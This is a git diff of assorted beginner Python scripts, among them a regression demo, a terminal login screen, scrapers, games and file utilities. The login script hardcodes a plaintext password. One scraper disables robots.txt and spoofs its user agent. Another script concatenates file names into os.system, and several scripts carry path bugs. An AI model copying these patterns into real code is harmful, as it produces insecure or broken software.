+ m, n = np.shape(training_data_x) + ypred = np.zeros(m) + + for i, item in enumerate(training_data_x): + ypred[i] = item * local_weight( + item, training_data_x, training_data_y, bandwidth + ) + + return ypred + + +def load_data(dataset_name: str, cola_name: str, colb_name: str) -> np.mat: + """ + Function used for loading data from the seaborn splitting into x and y points + """ + import seaborn as sns + + data = sns.load_dataset(dataset_name) + col_a = np.array(data[cola_name]) # total_bill + col_b = np.array(data[colb_name]) # tip + + mcol_a = np.mat(col_a) + mcol_b = np.mat(col_b) + + m = np.shape(mcol_b)[1] + one = np.ones((1, m), dtype=int) + + # horizontal stacking + training_data = np.hstack((one.T, mcol_a.T)) + + return training_data, mcol_b, col_a, col_b + + +def get_preds(training_data: np.mat, mcol_b: np.mat, tau: float) -> np.ndarray: + """ + Get predictions with minimum error for each training data + """ + ypred = local_weight_regression(training_data, mcol_b, tau) + return ypred + + +def plot_preds( + training_data: np.mat, + predictions: np.ndarray, + col_x: np.ndarray, + col_y: np.ndarray, + cola_name: str, + colb_name: str, +) -> plt.plot: + """ + This function used to plot predictions and display the graph + """ + xsort = training_data.copy() + xsort.sort(axis=0) + plt.scatter(col_x, col_y, color="blue") + plt.plot( + xsort[:, 1], + predictions[training_data[:, 1].argsort(0)], + color="yellow", + linewidth=5, + ) + plt.title("Local Weighted Regression") + plt.xlabel(cola_name) + plt.ylabel(colb_name) + plt.show() + + +if __name__ == "__main__": + training_data, mcol_b, col_a, col_b = load_data("tips", "total_bill", "tip") + predictions = get_preds(training_data, mcol_b, 0.5) + plot_preds(training_data, predictions, col_a, col_b, "total_bill", "tip") diff --git a/login.py b/login.py new file mode 100644 index 00000000000..d4844b261f1 --- /dev/null +++ b/login.py @@ -0,0 +1,51 @@ +import os +from getpass import getpass + + +# Devloped By Black_angel +# This is Logo Function +def logo(): + print(" ──────────────────────────────────────────────────────── ") + print(" | | ") + print(" | ######## ## ######### ## ## ### | ") + print(" | ## ## ## ## ## ## ## ## | ") + print(" | ## ### ## ## ## ## ## ## | ") + print(" | ## ### ## ######### ########### ########## | ") + print(" | ## ### ## ## ## ## ## ## | ") + print(" | ## ## ## ## ## ## ## ## | ") + print(" | ######## ## ######### ## ## ## ## | ") + print(" | | ") + print(" \033[1;91m| || Digital Information Security Helper Assistant || | ") + print(" | | ") + print(" ──────────────────────────────────────────────────────── ") + print("\033[1;36;49m") + + +# This is Login Function +def login(): + # for clear the screen + os.system("clear") + print("\033[1;36;49m") + logo() + print("\033[1;36;49m") + print("") + usr = input("Enter your Username : ") + # This is username you can change here + usr1 = "raj" + psw = getpass("Enter Your Password : ") + # This is Password you can change here + psw1 = "5898" + if usr == usr1 and psw == psw1: + print("\033[1;92mlogin successfully") + os.system("clear") + print("\033[1;36;49m") + logo() + else: + print("\033[1;91m Wrong") + + login() + + +# This is main function +if __name__ == "__main__": + login() diff --git a/logs.py b/logs.py index 2321b980cd5..11d9d041dd1 100644 --- a/logs.py +++ b/logs.py @@ -1,7 +1,7 @@ # Script Name : logs.py # Author : Craig Richards # Created : 13th October 2011 -# Last Modified : 14 February 2016 +# Last Modified : 14 February 2016 # Version : 1.2 # # Modifications : 1.1 - Added the variable zip_program so you can set it for the zip program on whichever OS, so to run on a different OS just change the locations of these two variables. @@ -9,15 +9,19 @@ # # Description : This script will search for all *.log files in the given directory, zip them using the program you specify and then date stamp them -import os # Load the Library Module -from time import strftime # Load just the strftime Module from Time +import os # Load the Library Module +from time import strftime # Load just the strftime Module from Time -logsdir="c:\puttylogs" # Set the Variable logsdir -zip_program="zip.exe" # Set the Variable zip_program - 1.1 +logsdir = r"c:\puttylogs" # Set the Variable logsdir +zip_program = "zip.exe" # Set the Variable zip_program - 1.1 -for files in os.listdir(logsdir): # Find all the files in the directory - if files.endswith(".log"): # Check to ensure the files in the directory end in .log - files1=files+"."+strftime("%Y-%m-%d")+".zip" # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension - os.chdir(logsdir) # Change directory to the logsdir - os.system(zip_program + " " + files1 +" "+ files) # Zip the logs into dated zip files for each server. - 1.1 - os.remove(files) # Remove the original log files +for files in os.listdir(logsdir): # Find all the files in the directory + if files.endswith(".log"): # Check to ensure the files in the directory end in .log + files1 = ( + files + "." + strftime("%Y-%m-%d") + ".zip" + ) # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension + os.chdir(logsdir) # Change directory to the logsdir + os.system( + zip_program + " " + files1 + " " + files + ) # Zip the logs into dated zip files for each server. - 1.1 + os.remove(files) # Remove the original log files diff --git a/longest_increasing_subsequence_length.py b/longest_increasing_subsequence_length.py new file mode 100644 index 00000000000..a2244cffdf5 --- /dev/null +++ b/longest_increasing_subsequence_length.py @@ -0,0 +1,23 @@ +""" +Author- DIWAKAR JAISWAL +find lenth Longest increasing subsequence of given array. +""" + + +def lis(a): + n = len(a) + # initialize ans array same lenth as 1 + ans = [1] * n + for i in range(1, n): + # now compare with first index to that index + for j in range(i): + if a[i] > a[j] and ans[i] < ans[j] + 1: + ans[i] = ans[j] + 1 + return max(ans) + + +a = [1, 3, 2, 6, 4] + +# longest increasing subsequence=[{1<3<6},{1<3<4},{1<2<6},{1<2<4}] length is 3 + +print("Maximum Length of longest increasing subsequence ", lis(a)) diff --git a/loops.py b/loops.py new file mode 100644 index 00000000000..985ffb8af4e --- /dev/null +++ b/loops.py @@ -0,0 +1,40 @@ +# 2 loops + +# for loop: + +""" +Syntax.. +-> "range" : starts with 0. +-> The space after the space is called as identiation, python generally identifies the block of code with the help of indentation, +indentation is generally 4 spaces / 1 tab space.. + + +for in range(): + statements you want to execute + +for in : + print() +To print the list / or any iterator items + +""" + +# 1. for with range... +for i in range(3): + print("Hello... with range") + # prints Hello 3 times.. + +# 2.for with list + +l1 = [1, 2, 3, 78, 98, 56, 52] +for i in l1: + print("list items", i) + # prints list items one by one.... + +for i in "ABC": + print(i) + +# while loop: +i = 0 +while i <= 5: + print("hello.. with while") + i += 1 diff --git a/love_turtle.py b/love_turtle.py new file mode 100644 index 00000000000..238b3eebf80 --- /dev/null +++ b/love_turtle.py @@ -0,0 +1,28 @@ +import turtle + + +def heart_red(): + t = turtle.Turtle() + turtle.title("I Love You") + screen = turtle.Screen() + screen.bgcolor("white") + t.color("red") + t.begin_fill() + t.fillcolor("red") + + t.left(140) + t.forward(180) + t.circle(-90, 200) + + t.setheading(60) # t.left + t.circle(-90, 200) + t.forward(180) + + t.end_fill() + t.hideturtle() + + turtle.done() + + +if __name__ == "__main__": + heart_red() diff --git a/luhn_algorithm_for_credit_card_validation.py b/luhn_algorithm_for_credit_card_validation.py new file mode 100644 index 00000000000..7eac88701f8 --- /dev/null +++ b/luhn_algorithm_for_credit_card_validation.py @@ -0,0 +1,41 @@ +""" +The Luhn Algorithm is widely used for error-checking in various applications, such as verifying credit card numbers. + +By building this project, you'll gain experience working with numerical computations and string manipulation. + +""" + +# TODO: To make it much more better and succint + + +def verify_card_number(card_number): + sum_of_odd_digits = 0 + card_number_reversed = card_number[::-1] + odd_digits = card_number_reversed[::2] + + for digit in odd_digits: + sum_of_odd_digits += int(digit) + + sum_of_even_digits = 0 + even_digits = card_number_reversed[1::2] + for digit in even_digits: + number = int(digit) * 2 + if number >= 10: + number = (number // 10) + (number % 10) + sum_of_even_digits += number + total = sum_of_odd_digits + sum_of_even_digits + return total % 10 == 0 + + +def main(): + card_number = "4111-1111-4555-1142" + card_translation = str.maketrans({"-": "", " ": ""}) + translated_card_number = card_number.translate(card_translation) + + if verify_card_number(translated_card_number): + print("VALID!") + else: + print("INVALID!") + + +main() diff --git a/magic8ball.py b/magic8ball.py new file mode 100644 index 00000000000..816705b8e21 --- /dev/null +++ b/magic8ball.py @@ -0,0 +1,63 @@ +import random +from colorama import Fore, Style +import inquirer + +responses = [ + "It is certain", + "It is decidedly so", + "Without a doubt", + "Yes definitely", + "You may rely on it", + "As I see it, yes", + "Most likely", + "Outlook good", + "Yes", + "Signs point to yes", + "Do not count on it", + "My reply is no", + "My sources say no", + "Outlook not so good", + "Very doubtful", + "Reply hazy try again", + "Ask again later", + "Better not tell you now", + "Cannot predict now", + "Concentrate and ask again", +] + + +# Will use a class on it. +# Will try to make it much more better. +def get_user_name(): + return inquirer.text( + message="Hi! I am the magic 8 ball, what's your name?" + ).execute() + + +def display_greeting(name): + print(f"Hello, {name}!") + + +def magic_8_ball(): + question = inquirer.text(message="What's your question?").execute() + answer = random.choice(responses) + print(Fore.BLUE + Style.BRIGHT + answer + Style.RESET_ALL) + try_again() + + +def try_again(): + response = inquirer.list_input( + message="Do you want to ask more questions?", + choices=["Yes", "No"], + ).execute() + + if response.lower() == "yes": + magic_8_ball() + else: + exit() + + +if __name__ == "__main__": + user_name = get_user_name() + display_greeting(user_name) + magic_8_ball() diff --git a/magic_8_ball.py b/magic_8_ball.py new file mode 100644 index 00000000000..816705b8e21 --- /dev/null +++ b/magic_8_ball.py @@ -0,0 +1,63 @@ +import random +from colorama import Fore, Style +import inquirer + +responses = [ + "It is certain", + "It is decidedly so", + "Without a doubt", + "Yes definitely", + "You may rely on it", + "As I see it, yes", + "Most likely", + "Outlook good", + "Yes", + "Signs point to yes", + "Do not count on it", + "My reply is no", + "My sources say no", + "Outlook not so good", + "Very doubtful", + "Reply hazy try again", + "Ask again later", + "Better not tell you now", + "Cannot predict now", + "Concentrate and ask again", +] + + +# Will use a class on it. +# Will try to make it much more better. +def get_user_name(): + return inquirer.text( + message="Hi! I am the magic 8 ball, what's your name?" + ).execute() + + +def display_greeting(name): + print(f"Hello, {name}!") + + +def magic_8_ball(): + question = inquirer.text(message="What's your question?").execute() + answer = random.choice(responses) + print(Fore.BLUE + Style.BRIGHT + answer + Style.RESET_ALL) + try_again() + + +def try_again(): + response = inquirer.list_input( + message="Do you want to ask more questions?", + choices=["Yes", "No"], + ).execute() + + if response.lower() == "yes": + magic_8_ball() + else: + exit() + + +if __name__ == "__main__": + user_name = get_user_name() + display_greeting(user_name) + magic_8_ball() diff --git a/mapit.py b/mapit.py new file mode 100644 index 00000000000..27fb71a92fc --- /dev/null +++ b/mapit.py @@ -0,0 +1,11 @@ +import sys +import webbrowser +import pyperclip +if len(sys.argv) > 1: + address = " ".join(sys.argv[1:]) + +elif len(pyperclip.paste()) > 2: + address = pyperclip.paste() +else: + address = input("enter your palce") +webbrowser.open("https://www.google.com/maps/place/" + address) diff --git a/mathfunctions.py b/mathfunctions.py new file mode 100644 index 00000000000..493f58db32a --- /dev/null +++ b/mathfunctions.py @@ -0,0 +1,5 @@ +x = min(65, 90, 65) +y = max(2, 8, 10) + +print(x) +print(y) diff --git a/meme_maker.py b/meme_maker.py new file mode 100644 index 00000000000..7cb4b550701 --- /dev/null +++ b/meme_maker.py @@ -0,0 +1,55 @@ +import sys + +from PIL import ImageDraw, ImageFont, Image + + +def input_par(): + print("Enter the text to insert in image: ") + text = str(input()) + print("Enter the desired size of the text: ") + size = int(input()) + print("Enter the color for the text(r, g, b): ") + color_value = [int(i) for i in input().split(" ")] + return text, size, color_value + pass + + +def main(): + path_to_image = sys.argv[1] + image_file = Image.open(path_to_image + ".jpg") + image_file = image_file.convert("RGBA") + pixdata = image_file.load() + + print(image_file.size) + text, size, color_value = input_par() + + # Font path is given as -->( " Path to your desired font " ) + font = ImageFont.truetype("C:\\Windows\\Fonts\\Arial.ttf", size=size) + + # If the color of the text is not equal to white,then change the background to be white + if (color_value[0] and color_value[1] and color_value[2]) != 255: + for y in range(100): + for x in range(100): + pixdata[x, y] = (255, 255, 255, 255) + # If the text color is white then the background is said to be black + else: + for y in range(100): + for x in range(100): + pixdata[x, y] = (0, 0, 0, 255) + image_file.show() + + # Drawing text on the picture + draw = ImageDraw.Draw(image_file) + draw.text( + (0, 2300), text, (color_value[0], color_value[1], color_value[2]), font=font + ) + draw = ImageDraw.Draw(image_file) + + print("Enter the file name: ") + file_name = str(input()) + image_file.save(file_name + ".jpg") + pass + + +if __name__ == "__main__": + main() diff --git a/memorygame.py b/memorygame.py new file mode 100644 index 00000000000..9266a2cd54e --- /dev/null +++ b/memorygame.py @@ -0,0 +1,79 @@ +from random import * +from turtle import * +from freegames import path + +car = path("car.gif") +tiles = list(range(32)) * 2 +state = {"mark": None} +hide = [True] * 64 + + +def square(x, y): + "Draw white square with black outline at (x, y)." + up() + goto(x, y) + down() + color("black", "white") + begin_fill() + for count in range(4): + forward(50) + left(90) + end_fill() + + +def index(x, y): + "Convert (x, y) coordinates to tiles index." + return int((x + 200) // 50 + ((y + 200) // 50) * 8) + + +def xy(count): + "Convert tiles count to (x, y) coordinates." + return (count % 8) * 50 - 200, (count // 8) * 50 - 200 + + +def tap(x, y): + "Update mark and hidden tiles based on tap." + spot = index(x, y) + mark = state["mark"] + + if mark is None or mark == spot or tiles[mark] != tiles[spot]: + state["mark"] = spot + else: + hide[spot] = False + hide[mark] = False + state["mark"] = None + + +def draw(): + "Draw image and tiles." + clear() + goto(0, 0) + shape(car) + stamp() + + for count in range(64): + if hide[count]: + x, y = xy(count) + square(x, y) + + mark = state["mark"] + + if mark is not None and hide[mark]: + x, y = xy(mark) + up() + goto(x + 2, y) + color("black") + write(tiles[mark], font=("Arial", 30, "normal")) + + update() + ontimer(draw, 100) + + +shuffle(tiles) +setup(420, 420, 370, 0) +addshape(car) +hideturtle() +tracer(False) +onscreenclick(tap) +draw() +done() diff --git a/merge.py b/merge.py index 22b60055416..424cf1e0527 100644 --- a/merge.py +++ b/merge.py @@ -1,22 +1,48 @@ -import glob -import csv -import pdb +from __future__ import print_function + import os -import pandas as pd + +# author:zhangshuyx@gmail.com +# !/usr/bin/env python +# -*- coding=utf-8 -*- + +# define the result filename +resultfile = "result.csv" + + +# the merge func +def merge(): + """merge csv files to one file""" + + # indicates use of a global variable. + global resultfile + + # use list save the csv files + csvfiles = [ + f + for f in os.listdir(".") + if f != resultfile and (len(f.split(".")) >= 2) and f.split(".")[1] == "csv" + ] + + # open file to write + with open(resultfile, "w") as writefile: + for csvfile in csvfiles: + with open(csvfile) as readfile: + print("File {} readed.".format(csvfile)) + + # do the read and write + writefile.write(readfile.read() + "\n") + print("\nFile {} wrote.".format(resultfile)) + + +# the main program + def main(): - directory = [] - for dirs in os.walk("."): - directory.append(dirs) - folders = directory[0][1] - for ff in folders: - if ff != ".git": - allFiles = glob.glob(ff + "/*.csv") - frame = pd.DataFrame() - dfs = [] - for files in allFiles: - df = pd.read_csv(files,index_col=None, header=0) - dfs.append(df) - frame = pd.concat(dfs) - frame.to_csv(ff+"/results.csv") -main() + print("\t\tMerge\n\n") + print("This program merges csv-files to one file\n") + merge() + + +if __name__ == "__main__": + main() diff --git a/missing number from list.py b/missing number from list.py new file mode 100644 index 00000000000..bf7526f26d8 --- /dev/null +++ b/missing number from list.py @@ -0,0 +1,10 @@ +# program to find a missing number from a list. + + +def missing_number(num_list): + return sum(range(num_list[0], num_list[-1] + 1)) - sum(num_list) + + +print(missing_number([1, 2, 3, 4, 6, 7, 8])) + +print(missing_number([10, 11, 12, 14, 15, 16, 17])) diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py new file mode 100644 index 00000000000..b749e210a0f --- /dev/null +++ b/mobilePhoneSpecsScrapper.py @@ -0,0 +1,112 @@ +import requests +from bs4 import BeautifulSoup + +# import csv +import os + +# import time +import json + + +class Phonearena: + def __init__(self): + self.phones = [] + self.features = ["Brand", "Model Name", "Model Image"] + self.temp1 = [] + self.phones_brands = [] + self.url = "https://www.phonearena.com/phones/" # GSMArena website url + # Folder name on which files going to save. + self.new_folder_name = "GSMArenaDataset" + # It create the absolute path of the GSMArenaDataset folder. + self.absolute_path = os.getcwd().strip() + "/" + self.new_folder_name + + def crawl_html_page(self, sub_url): + url = sub_url # Url for html content parsing. + + # Handing the connection error of the url. + try: + page = requests.get(url) + # It parses the html data from requested url. + soup = BeautifulSoup(page.text, "html.parser") + return soup + + except ConnectionError: + print("Please check your network connection and re-run the script.") + exit() + + except Exception: + print("Please check your network connection and re-run the script.") + exit() + + def crawl_phone_urls(self): + phones_urls = [] + for i in range(1, 238): # Right now they have 237 page of phone data. + print(self.url + "page/" + str(i)) + soup = self.crawl_html_page(self.url + "page/" + str(i)) + table = soup.findAll("div", {"class": "stream-item"}) + table_a = [k.find("a") for k in table] + for a in table_a: + temp = a["href"] + phones_urls.append(temp) + return phones_urls + + def crawl_phones_models_specification(self, li): + phone_data = {} + for link in li: + print(link) + try: + soup = self.crawl_html_page(link) + model = soup.find(class_="page__section page__section_quickSpecs") + model_name = model.find("header").h1.text + model_img_html = model.find(class_="head-image") + model_img = model_img_html.find("img")["data-src"] + specs_html = model.find( + class_="phone__section phone__section_widget_quickSpecs" + ) + release_date = specs_html.find(class_="calendar") + release_date = release_date.find(class_="title").p.text + display = specs_html.find(class_="display") + display = display.find(class_="title").p.text + camera = specs_html.find(class_="camera") + camera = camera.find(class_="title").p.text + hardware = specs_html.find(class_="hardware") + hardware = hardware.find(class_="title").p.text + storage = specs_html.find(class_="storage") + storage = storage.find(class_="title").p.text + battery = specs_html.find(class_="battery") + battery = battery.find(class_="title").p.text + os = specs_html.find(class_="os") + os = os.find(class_="title").p.text + phone_data[model_name] = { + "image": model_img, + "release_date": release_date, + "display": display, + "camera": camera, + "hardware": hardware, + "storage": storage, + "battery": battery, + "os": os, + } + with open(obj.absolute_path + "-PhoneSpecs.json", "w+") as of: + json.dump(phone_data, of) + except Exception as error: + print(f"Exception happened : {error}") + continue + return phone_data + + +if __name__ == "__main__": + obj = Phonearena() + try: + # Step 1: Scrape links to all the individual phone specs page and save it so that we don't need to run it again. + phone_urls = obj.crawl_phone_urls() + with open(obj.absolute_path + "-Phoneurls.json", "w") as of: + json.dump(phone_urls, of) + + # Step 2: Iterate through all the links from the above execution and run the next command + with open("obj.absolute_path+'-Phoneurls.json", "r") as inp: + temp = json.load(inp) + phone_specs = obj.crawl_phones_models_specification(temp) + + except KeyboardInterrupt: + print("File has been stopped due to KeyBoard Interruption.") diff --git a/move_files_over_x_days.py b/move_files_over_x_days.py index e10c933fa4e..50b13762024 100644 --- a/move_files_over_x_days.py +++ b/move_files_over_x_days.py @@ -1 +1,60 @@ -# Script Name : move_files_over_x_days.py # Author : Craig Richards # Created : 8th December 2011 # Last Modified : # Version : 1.0 # Modifications : # Description : This will move all the files from the src directory that are over 240 days old to the destination directory. import shutil, sys, time, os # Import the header files src = 'u:\\test' # Set the source directory dst = 'c:\\test' # Set the destination directory now = time.time() # Get the current time for f in os.listdir(src): # Loop through all the files in the source directory if os.stat(f).st_mtime < now - 240 * 86400: # Work out how old they are, if they are older than 240 days old if os.path.isfile(f): # Check it's a file shutil.move(f, dst) # Move the files \ No newline at end of file +# Script Name : move_files_over_x_days.py +# Author(s) : Craig Richards ,Demetrios Bairaktaris +# Created : 8th December 2011 +# Last Modified : 25 December 2017 +# Version : 1.1 +# Modifications : Added possibility to use command line arguments to specify source, destination, and days. +# Description : This will move all the files from the src directory that are over 240 days old to the destination directory. + +import argparse +import os +import shutil +import time + +usage = "python move_files_over_x_days.py -src [SRC] -dst [DST] -days [DAYS]" +description = "Move files from src to dst if they are older than a certain number of days. Default is 240 days" + +args_parser = argparse.ArgumentParser(usage=usage, description=description) +args_parser.add_argument( + "-src", + "--src", + type=str, + nargs="?", + default=".", + help="(OPTIONAL) Directory where files will be moved from. Defaults to current directory", +) +args_parser.add_argument( + "-dst", + "--dst", + type=str, + nargs="?", + required=True, + help="(REQUIRED) Directory where files will be moved to.", +) +args_parser.add_argument( + "-days", + "--days", + type=int, + nargs="?", + default=240, + help="(OPTIONAL) Days value specifies the minimum age of files to be moved. Default is 240.", +) +args = args_parser.parse_args() + +if args.days < 0: + args.days = 0 + +src = args.src # Set the source directory +dst = args.dst # Set the destination directory +days = args.days # Set the number of days +now = time.time() # Get the current time + +if not os.path.exists(dst): + os.mkdir(dst) + +for f in os.listdir(src): # Loop through all the files in the source directory + if ( + os.stat(f).st_mtime < now - days * 86400 + ): # Work out how old they are, if they are older than 240 days old + if os.path.isfile(f): # Check it's a file + shutil.move(f, dst) # Move the files diff --git a/movie_details.py b/movie_details.py new file mode 100644 index 00000000000..3bde64d1f0a --- /dev/null +++ b/movie_details.py @@ -0,0 +1,60 @@ +import urllib.request + +import mechanize +from bs4 import BeautifulSoup + +# Create a Browser +browser = mechanize.Browser() + +# Disable loading robots.txt +browser.set_handle_robots(False) + +browser.addheaders = [("User-agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)")] + +movie_title = input("Enter movie title: ") + +movie_types = ( + "feature", + "tv_movie", + "tv_series", + "tv_episode", + "tv_special", + "tv_miniseries", + "documentary", + "video_game", + "short", + "video", + "tv_short", +) + +# Navigate +browser.open("http://www.imdb.com/search/title") + +# Choose a form +browser.select_form(nr=1) + +browser["title"] = movie_title + +# Check all the boxes of movie types +for m_type in movie_types: + browser.find_control(type="checkbox", nr=0).get(m_type).selected = True + +# Submit +fd = browser.submit() +soup = BeautifulSoup(fd.read(), "html5lib") + +# Updated from td tag to h3 tag +for div in soup.findAll("h3", {"class": "lister-item-header"}, limit=1): + a = div.findAll("a")[0] + hht = "http://www.imdb.com" + a.attrs["href"] + print(hht) + page = urllib.request.urlopen(hht) + soup2 = BeautifulSoup(page.read(), "html.parser") + find = soup2.find + + print("Title: " + find(itemprop="name").get_text().strip()) + print("Duration: " + find(itemprop="duration").get_text().strip()) + print("Director: " + find(itemprop="director").get_text().strip()) + print("Genre: " + find(itemprop="genre").get_text().strip()) + print("IMDB rating: " + find(itemprop="ratingValue").get_text().strip()) + print("Summary: " + find(itemprop="description").get_text().strip()) diff --git a/multiple_comditions.py b/multiple_comditions.py new file mode 100644 index 00000000000..6da636d5288 --- /dev/null +++ b/multiple_comditions.py @@ -0,0 +1,22 @@ +while True: + try: + user = int(input("enter any number b/w 1-3\n")) + if user == 1: + print("in first if") + elif user == 2: + print("in second if") + elif user == 3: + print("in third if") + else: + print("Enter numbers b/w the range of 1-3") + except: + print("enter only digits") + + +""" +## Why we are using elif instead of nested if ? +When you have multiple conditions to check, using nested if means that if the first condition is true, the program still checks the second +if condition, even though it's already decided that the first condition worked. This makes the program do more work than necessary. +On the other hand, when you use elif, if one condition is satisfied, the program exits the rest of the conditions and doesn't continue checking. +It’s more efficient and clean, as it immediately moves to the correct option without unnecessary steps. +""" diff --git a/multiplication_table.py b/multiplication_table.py new file mode 100644 index 00000000000..70045ed10e7 --- /dev/null +++ b/multiplication_table.py @@ -0,0 +1,34 @@ +""" +The 'multiplication table' Implemented in Python 3 + +Syntax: +python3 multiplication_table.py [rows columns] +Separate filenames with spaces as usual. + +Updated by Borys Baczewski (BB_arbuz on GitHub) - 06/03/2022 +""" + +from sys import argv # import argument variable + +( + script, + rows, + columns, +) = argv # define rows and columns for the table and assign them to the argument variable + + +def table(rows, columns): + columns = int(columns) + rows = int(rows) + for r in range(1, rows + 1): + c = r + print(r, end="\t") + i = 0 + while columns - 1 > i: + print(c + r, end="\t") + c = c + r + i += 1 + print("\n") + + +table(rows, columns) diff --git a/nDigitNumberCombinations.py b/nDigitNumberCombinations.py new file mode 100644 index 00000000000..5a17739615d --- /dev/null +++ b/nDigitNumberCombinations.py @@ -0,0 +1,18 @@ +# ALL the combinations of n digit combo +def nDigitCombinations(n): + try: + npow = 10**n + numbers = [] + for code in range(npow): + code = str(code).zfill(n) + numbers.append(code) + except Exception: + # handle all other exceptions + pass + return numbers + + +# An alternate solution: +# from itertools import product +# from string import digits +# list("".join(x) for x in product(digits, repeat=n)) diff --git a/nasa_apod_with_requests/README.md b/nasa_apod_with_requests/README.md new file mode 100644 index 00000000000..82c455092bf --- /dev/null +++ b/nasa_apod_with_requests/README.md @@ -0,0 +1,4 @@ +you need to get your key at https://api.nasa.gov/ and put it in settings.py as a string with the name of key + +it will save the image inside a folder named img inside the project folder +have fun! \ No newline at end of file diff --git a/nasa_apod_with_requests/run.py b/nasa_apod_with_requests/run.py new file mode 100644 index 00000000000..4d8048d022c --- /dev/null +++ b/nasa_apod_with_requests/run.py @@ -0,0 +1,28 @@ +from settings import key +import requests +import os + +date = input("Enter date(YYYY-MM-DD): ") +r = requests.get(f"https://api.nasa.gov/planetary/apod?api_key={key}&date={date}") +parsed = r.json() +title = parsed["title"] +url = parsed["hdurl"] +print(f"{title}: {url}") + +img_ = requests.get(url, stream=True) +print(img_.headers) +print(img_.headers["content-type"], img_.headers["content-length"]) +content_type = img_.headers["content-type"] + +if img_.status_code == 200 and ( + content_type == "image/jpeg" + or content_type == "image/gif" + or content_type == "image/png" +): + ext = img_.headers["content-type"][6:] + if not os.path.exists("img/"): + os.mkdir("img/") + path = f"img/apod_{date}.{ext}" + with open(path, "wb") as f: + for chunk in img_: + f.write(chunk) diff --git a/nasa_apod_with_requests/settings.py b/nasa_apod_with_requests/settings.py new file mode 100644 index 00000000000..58e553f4323 --- /dev/null +++ b/nasa_apod_with_requests/settings.py @@ -0,0 +1 @@ +key = "" diff --git a/new.py b/new.py new file mode 100644 index 00000000000..c5058551ec7 --- /dev/null +++ b/new.py @@ -0,0 +1,3 @@ + +print("Hello, world!") + diff --git a/new_pattern.py b/new_pattern.py new file mode 100644 index 00000000000..ae34086b658 --- /dev/null +++ b/new_pattern.py @@ -0,0 +1,66 @@ +def main(): + """Main function that gets user input and calls the pattern generation function.""" + try: + lines = int(input("Enter number of lines: ")) + if lines < 0: + raise ValueError("Number of lines must be non-negative") + result = pattern(lines) + print(result) + except ValueError as e: + if "invalid literal" in str(e): + print(f"Error: Please enter a valid integer number. {e}") + else: + print(f"Error: {e}") + except Exception as e: + print(f"An unexpected error occurred: {e}") + + +def pattern(lines: int) -> str: + """ + Generate a pattern of '@' and '$' characters. + + Args: + lines: Number of lines to generate in the pattern + + Returns: + A multiline string containing the specified pattern + + Raises: + ValueError: If lines is negative + + Examples: + >>> print(pattern(3)) + @@@ $ + @@ $$ + @ $$$ + + >>> print(pattern(1)) + @ $ + + >>> print(pattern(0)) + + + >>> pattern(-5) + Traceback (most recent call last): + ... + ValueError: Number of lines must be non-negative + """ + if lines < 0: + raise ValueError("Number of lines must be non-negative") + if lines == 0: + return "" + + pattern_lines = [] + for i in range(lines, 0, -1): + at_pattern = "@" * i + dollar_pattern = "$" * (lines - i + 1) + pattern_lines.append(f"{at_pattern} {dollar_pattern}") + + return "\n".join(pattern_lines) + + +if __name__ == "__main__": + import doctest + + doctest.testmod(verbose=True) + main() diff --git a/new_script.py b/new_script.py index 59e9cd359be..7326bed8c4e 100644 --- a/new_script.py +++ b/new_script.py @@ -1,66 +1,66 @@ +from __future__ import print_function + +import datetime # Load the library module +import os # Load the library module +import sys # Load the library module + # Script Name : new_script.py # Author : Craig Richards # Created : 20th November 2012 -# Last Modified : +# Last Modified : # Version : 1.0 - -# Modifications : - +# Modifications : # Description : This will create a new basic template for a new script -import os # Load the library module -import sys # Load the library module -import datetime # Load the library module - -text = '''You need to pass an argument for the new script you want to create, followed by the script name. You can use +text = """You need to pass an argument for the new script you want to create, followed by the script name. You can use -python : Python Script -bash : Bash Script -ksh : Korn Shell Script - -sql : SQL Script''' + -sql : SQL Script""" if len(sys.argv) < 3: - print text - sys.exit() - -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: - print text - sys.exit() -else: - if '-python' in sys.argv[1]: - config_file="python.cfg" - extension=".py" - elif '-bash' in sys.argv[1]: - config_file="bash.cfg" - extension=".bash" - elif '-ksh' in sys.argv[1]: - config_file="ksh.cfg" - extension=".ksh" - elif '-sql' in sys.argv[1]: - config_file="sql.cfg" - extension=".sql" - else: - print 'Unknown option - ' + text + print(text) + sys.exit() + +if "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv: + print(text) sys.exit() +else: + if "-python" in sys.argv[1]: + config_file = "python.cfg" + extension = ".py" + elif "-bash" in sys.argv[1]: + config_file = "bash.cfg" + extension = ".bash" + elif "-ksh" in sys.argv[1]: + config_file = "ksh.cfg" + extension = ".ksh" + elif "-sql" in sys.argv[1]: + config_file = "sql.cfg" + extension = ".sql" + else: + print("Unknown option - " + text) + sys.exit() + +confdir = os.getenv("my_config") +scripts = os.getenv("scripts") +dev_dir = "Development" +newfile = sys.argv[2] +output_file = newfile + extension +outputdir = os.path.join(scripts, dev_dir) +script = os.path.join(outputdir, output_file) +input_file = os.path.join(confdir, config_file) +old_text = " Script Name : " +new_text = " Script Name : " + output_file +if not (os.path.exists(outputdir)): + os.mkdir(outputdir) +newscript = open(script, "w") +input = open(input_file, "r") +today = datetime.date.today() +old_date = " Created :" +new_date = " Created : " + today.strftime("%d %B %Y") -confdir=os.getenv("my_config") -scripts=os.getenv("scripts") -dev_dir="Development" -newfile=sys.argv[2] -output_file=(newfile+extension) -outputdir=os.path.join(scripts,dev_dir) -script=os.path.join(outputdir, output_file) -input_file=os.path.join(confdir,config_file) -old_text=" Script Name : " -new_text=(" Script Name : "+output_file) -if not(os.path.exists(outputdir)): - os.mkdir(outputdir) -newscript = open(script, 'w') -input=open(input_file,'r') -today=datetime.date.today() -old_date= " Created :" -new_date= (" Created : "+today.strftime("%d %B %Y")) - -for line in input: - line = line.replace(old_text, new_text) - line = line.replace(old_date, new_date) - newscript.write(line) +for line in input: + line = line.replace(old_text, new_text) + line = line.replace(old_date, new_date) + newscript.write(line) diff --git a/news_articles__scraper.py b/news_articles__scraper.py new file mode 100644 index 00000000000..a9266ad0a58 --- /dev/null +++ b/news_articles__scraper.py @@ -0,0 +1,229 @@ +# -*- coding: utf-8 -*- +"""News_Articles__Scraper.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1v1XaNvdBmHIG79KQyaVUl793rKsV7qTD + 